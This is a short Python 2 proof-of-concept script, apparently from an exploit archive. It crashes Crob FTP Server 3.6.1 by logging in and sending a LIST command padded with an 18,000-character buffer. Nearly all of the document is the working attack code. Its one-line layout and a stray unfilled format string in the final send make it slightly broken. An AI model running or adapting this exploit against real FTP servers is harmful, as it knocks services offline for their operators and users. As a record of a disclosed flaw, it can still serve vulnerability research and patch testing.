Crob FTP Server 3.6.1 build 263 (LIST/NLST) Denial of Service Exploit

import sys,os,string import socket import struct import time print "-----------------------------------------------------------------------" print "# Crob FTP Server 3.6.1 b.263 LIST, NLST and NLST -al Denial of Service" print "# url: http://www.crob.net/en/" print "# author: shinnai" print "# mail: shinnai[at]autistici[dot[org]" print "# site: http://shinnai.altervista.org" print "# and, always, special thanks to rgod" print "-----------------------------------------------------------------------" buffer = "?A" * 9000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: conn = s.connect(("127.0.0.1",21)) except: print "- Unable to connect. exiting." d = s.recv(1024) time.sleep(1) s.send('USER %s\r\n' % "test") time.sleep(1) s.send('PASS %s\r\n' % "test") time.sleep(1) s.send('LIST %s\r\n' % buffer) time.sleep(1) s.send('HELP %s\r\n')